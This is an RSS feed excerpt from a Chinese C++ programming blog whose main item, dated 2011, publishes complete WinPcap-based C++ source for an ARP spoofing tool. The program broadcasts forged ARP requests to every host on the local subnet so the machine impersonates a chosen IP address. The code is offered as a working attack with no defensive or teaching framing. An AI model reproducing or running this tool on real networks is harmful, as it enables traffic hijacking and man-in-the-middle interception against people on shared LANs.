style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP欺骗源码（基于WinPcap实现）</title><link>http://www.cppblog.com/flyonok/archive/2011/04/07/143601.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Thu, 07 Apr 2011 03:44:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/07/143601.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143601.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/07/143601.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143601.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143601.html</trackback:ping><description><![CDATA[<span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: medium Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(0,0,0); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="LINE-HEIGHT: 18px; FONT-FAMILY: Arial; FONT-SIZE: 12px" class=Apple-style-span>
<table style="WIDTH: 958px; TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td style="FILTER: none; LINE-HEIGHT: 18px; ZOOM: 1 !important; FONT-FAMILY: Arial; WORD-WRAP: break-word; VISIBILITY: visible !important; FONT-SIZE: 12px; WORD-BREAK: break-all">
            <div style="POSITION: static; FILTER: none; LINE-HEIGHT: 20px; OVERFLOW-X: hidden; OVERFLOW-Y: hidden; ZOOM: 1 !important; FONT-FAMILY: Arial; WORD-WRAP: break-word; VISIBILITY: visible !important; COLOR: rgb(0,0,0); FONT-SIZE: 14px; WORD-BREAK: normal" id=blog_text class=cnt>//ArpCheat.h<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">#ifndef MY_ARP_CHEAT_INCLUDE_H<br style="LINE-HEIGHT: normal">#define MY_ARP_CHEAT_INCLUDE_H<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">//字节对齐必须是1<br style="LINE-HEIGHT: normal">#pragma pack (1)<br style="LINE-HEIGHT: normal">struct ethernet_head<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">unsigned char dest_mac[6]; //目标主机MAC地址<br style="LINE-HEIGHT: normal">unsigned char source_mac[6]; //源端MAC地址<br style="LINE-HEIGHT: normal">unsigned short eh_type;&nbsp;&nbsp; //以太网类型<br style="LINE-HEIGHT: normal">};<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">struct arp_head<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">unsigned short hardware_type; //硬件类型：以太网接口类型为1<br style="LINE-HEIGHT: normal">unsigned short protocol_type; //协议类型：IP协议类型为0X0800<br style="LINE-HEIGHT: normal">unsigned char add_len;&nbsp;&nbsp; //硬件地址长度：MAC地址长度为6B<br style="LINE-HEIGHT: normal">unsigned char pro_len;&nbsp;&nbsp; //协议地址长度：IP地址长度为4B<br style="LINE-HEIGHT: normal">unsigned short option;&nbsp;&nbsp; //操作：ARP请求为1，ARP应答为2<br style="LINE-HEIGHT: normal">unsigned char sour_addr[6]; //源MAC地址：发送方的MAC地址<br style="LINE-HEIGHT: normal">unsigned long sour_ip;&nbsp;&nbsp; //源IP地址：发送方的IP地址<br style="LINE-HEIGHT: normal">unsigned char dest_addr[6]; //目的MAC地址：ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址<br style="LINE-HEIGHT: normal">unsigned long dest_ip;&nbsp;&nbsp; //目的IP地址：ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址<br style="LINE-HEIGHT: normal">unsigned char padding[18];<br style="LINE-HEIGHT: normal">};<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">struct arp_packet&nbsp;&nbsp;&nbsp;&nbsp; //最终arp包结构<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">ethernet_head eth;&nbsp;&nbsp;&nbsp; //以太网头部<br style="LINE-HEIGHT: normal">arp_head arp;&nbsp;&nbsp;&nbsp;&nbsp; //arp数据包头部<br style="LINE-HEIGHT: normal">};<br style="LINE-HEIGHT: normal">#pragma pack ()<br style="LINE-HEIGHT: normal">/**<br style="LINE-HEIGHT: normal">* 获得网卡的MAC地址<br style="LINE-HEIGHT: normal">* pDevName 网卡的设备名称<br style="LINE-HEIGHT: normal">*/<br style="LINE-HEIGHT: normal">unsigned char* GetSelfMac(char* pDevName);<br style="LINE-HEIGHT: normal">/**<br style="LINE-HEIGHT: normal">* 封装ARP请求包<br style="LINE-HEIGHT: normal">* source_mac 源MAC地址<br style="LINE-HEIGHT: normal">* srcIP 源IP<br style="LINE-HEIGHT: normal">* destIP 目的IP<br style="LINE-HEIGHT: normal">*/<br style="LINE-HEIGHT: normal">unsigned char* BuildArpPacket(unsigned char* source_mac,<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long srcIP, unsigned long destIP);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">#endif<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">//ArpCheat.cpp<br style="LINE-HEIGHT: normal">#include &lt;stdio.h&gt;<br style="LINE-HEIGHT: normal">#include &lt;pcap.h&gt;<br style="LINE-HEIGHT: normal">#include &lt;conio.h&gt;<br style="LINE-HEIGHT: normal">#include &lt;packet32.h&gt;<br style="LINE-HEIGHT: normal">#include &lt;ntddndis.h&gt;<br style="LINE-HEIGHT: normal">#include "ArpCheat.h"<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">int main(int argc,char* argv[]){<br style="LINE-HEIGHT: normal">pcap_if_t *alldevs;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //全部网卡列表<br style="LINE-HEIGHT: normal">pcap_if_t *d;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //一个网卡<br style="LINE-HEIGHT: normal">int inum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //用户选择的网卡序号<br style="LINE-HEIGHT: normal">int i=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //循环变量<br style="LINE-HEIGHT: normal">pcap_t *adhandle;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //一个pcap实例<br style="LINE-HEIGHT: normal">char errbuf[PCAP_ERRBUF_SIZE];&nbsp;&nbsp; //错误缓冲区<br style="LINE-HEIGHT: normal">unsigned char *mac;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //本机MAC地址<br style="LINE-HEIGHT: normal">unsigned char *packet;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ARP包<br style="LINE-HEIGHT: normal">unsigned long fakeIp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //要伪装成的IP地址<br style="LINE-HEIGHT: normal">pcap_addr_t *pAddr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //网卡地址<br style="LINE-HEIGHT: normal">unsigned long ip;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //IP地址<br style="LINE-HEIGHT: normal">unsigned long netmask;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //子网掩码<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">if(argc!=2){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; printf("Usage: %s inet_addr\n",argv[0]);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; return -1;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">//从参数列表获得要伪装的IP地址<br style="LINE-HEIGHT: normal">fakeIp = inet_addr(argv[1]);<br style="LINE-HEIGHT: normal">if(INADDR_NONE==fakeIp){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; fprintf(stderr,"Invalid IP: %s\n",argv[1]);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; return -1;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; /* 获得本机网卡列表 */<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &amp;alldevs, errbuf) == -1)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; /* 打印网卡列表 */<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; for(d=alldevs; d; d=d-&gt;next)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%d", ++i);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (d-&gt;description)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(". %s\n", d-&gt;description);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(". No description available\n");<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; //如果没有发现网卡<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; if(i==0)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNo interfaces found! Make sure WinPcap is installed.\n");<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; //请用户选择一个网卡<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; printf("Enter the interface number (1-%d):",i);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; scanf("%d", &amp;inum);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; //如果用户选择的网卡序号超出有效范围，则退出<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; if(inum &lt; 1 || inum &gt; i)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nInterface number out of range.\n");<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Free the device list */<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pcap_freealldevs(alldevs);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; /* 移动指针到用户选择的网卡 */<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; for(d=alldevs, i=0; i&lt; inum-1 ;d=d-&gt;next, i++);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; mac = GetSelfMac(d-&gt;name+8); //+8以去掉"rpcap://"<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/* 打开网卡 */<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; if ( (adhandle= pcap_open(d-&gt;name,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // name of the device<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // portion of the packet to capture<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //open flag<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // read timeout<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // authentication on the remote machine<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // error buffer<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ) ) == NULL)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d-&gt;name);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Free the device list */<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pcap_freealldevs(alldevs);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">for(pAddr=d-&gt;addresses; pAddr; pAddr=pAddr-&gt;next){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; //得到用户选择的网卡的一个IP地址<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; ip = ((struct sockaddr_in *)pAddr-&gt;addr)-&gt;sin_addr.s_addr;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; //得到该IP地址对应的子网掩码<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; netmask = ((struct sockaddr_in *)(pAddr-&gt;netmask))-&gt;sin_addr.S_un.S_addr;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; if (!ip || !netmask){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; continue;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; //看看这个IP和要伪装的IP是否在同一个子网<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; if((ip&amp;netmask)!=(fakeIp&amp;netmask)){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; continue; //如果不在一个子网，继续遍历地址列表<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp; unsigned long netsize = ntohl(~netmask); //网络中主机数<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; unsigned long net = ip &amp; netmask; //子网地址<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp; for(unsigned long n=1; n&lt;netsize; n++){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; //第i台主机的IP地址，网络字节顺序<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; unsigned long destIp = net | htonl(n);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; //构建假的ARP请求包，达到本机伪装成给定的IP地址的目的<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; packet = BuildArpPacket(mac,fakeIp,destIp);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; if(pcap_sendpacket(adhandle, packet, 60)==-1){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,"pcap_sendpacket error.\n");<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">return 0;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal">/**<br style="LINE-HEIGHT: normal">* 获得网卡的MAC地址<br style="LINE-HEIGHT: normal">* pDevName 网卡的设备名称<br style="LINE-HEIGHT: normal">*/<br style="LINE-HEIGHT: normal">unsigned char* GetSelfMac(char* pDevName){<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">static u_char mac[6];<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">memset(mac,0,sizeof(mac));<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">LPADAPTER lpAdapter =&nbsp;&nbsp; PacketOpenAdapter(pDevName);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">if (!lpAdapter || (lpAdapter-&gt;hFile == INVALID_HANDLE_VALUE))<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; return NULL;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));<br style="LINE-HEIGHT: normal">if (OidData == NULL)<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; PacketCloseAdapter(lpAdapter);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; return NULL;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal">//<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">// Retrieve the adapter MAC querying the NIC driver<br style="LINE-HEIGHT: normal">//<br style="LINE-HEIGHT: normal">OidData-&gt;Oid = OID_802_3_CURRENT_ADDRESS;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">OidData-&gt;Length = 6;<br style="LINE-HEIGHT: normal">memset(OidData-&gt;Data, 0, 6);<br style="LINE-HEIGHT: normal">BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);<br style="LINE-HEIGHT: normal">if(Status)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; memcpy(mac,(u_char*)(OidData-&gt;Data),6);<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal">free(OidData);<br style="LINE-HEIGHT: normal">PacketCloseAdapter(lpAdapter);<br style="LINE-HEIGHT: normal">return mac;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/**<br style="LINE-HEIGHT: normal">* 封装ARP请求包<br style="LINE-HEIGHT: normal">* source_mac 源MAC地址<br style="LINE-HEIGHT: normal">* srcIP 源IP<br style="LINE-HEIGHT: normal">* destIP 目的IP<br style="LINE-HEIGHT: normal">*/<br style="LINE-HEIGHT: normal">unsigned char* BuildArpPacket(unsigned char* source_mac,<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long srcIP,unsigned long destIP)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">static struct arp_packet packet;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF<br style="LINE-HEIGHT: normal">memset(packet.eth.dest_mac,0xFF,6);<span class=Apple-converted-space>&nbsp;</span><br style="LINE-HEIGHT: normal">//源MAC地址<br style="LINE-HEIGHT: normal">memcpy(packet.eth.source_mac,source_mac,6);<br style="LINE-HEIGHT: normal">//上层协议为ARP协议，0x0806<br style="LINE-HEIGHT: normal">packet.eth.eh_type = htons(0x0806);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">//硬件类型，Ethernet是0x0001<br style="LINE-HEIGHT: normal">packet.arp.hardware_type = htons(0x0001);<br style="LINE-HEIGHT: normal">//上层协议类型，IP为0x0800<br style="LINE-HEIGHT: normal">packet.arp.protocol_type = htons(0x0800);<br style="LINE-HEIGHT: normal">//硬件地址长度：MAC地址长度为0x06<br style="LINE-HEIGHT: normal">packet.arp.add_len = 0x06;<br style="LINE-HEIGHT: normal">//协议地址长度：IP地址长度为0x04<br style="LINE-HEIGHT: normal">packet.arp.pro_len = 0x04;<br style="LINE-HEIGHT: normal">//操作：ARP请求为1<br style="LINE-HEIGHT: normal">packet.arp.option = htons(0x0001);<br style="LINE-HEIGHT: normal">//源MAC地址<br style="LINE-HEIGHT: normal">memcpy(packet.arp.sour_addr,source_mac,6);<br style="LINE-HEIGHT: normal">//源IP地址<br style="LINE-HEIGHT: normal">packet.arp.sour_ip = srcIP;<br style="LINE-HEIGHT: normal">//目的MAC地址，填充0<br style="LINE-HEIGHT: normal">memset(packet.arp.dest_addr,0,6);<br style="LINE-HEIGHT: normal">//目的IP地址<br style="LINE-HEIGHT: normal">packet.arp.dest_ip = destIP;<br style="LINE-HEIGHT: normal">//填充数据，18B<br style="LINE-HEIGHT: normal">memset(packet.arp.padding,0,18);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">return (unsigned char*)&amp;packet;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">}</div>
            </td>
        </tr>
    </tbody>
</table>
</span></span>
<img src ="http://www.cppblog.com/flyonok/aggbug/143601.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-07 11:44 <a href="http://www.cppblog.com/flyonok/archive/2011/04/07/143601.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>libpcap安装篇</title><link>http://www.cppblog.com/flyonok/archive/2011/03/31/143139.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Thu, 31 Mar 2011 09:48:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/03/31/143139.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143139.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/03/31/143139.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143139.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143139.html</trackback:ping><description><![CDATA[<span style="TEXT-ALIGN: center; WIDOWS: 2; TEXT-TRANSFORM: 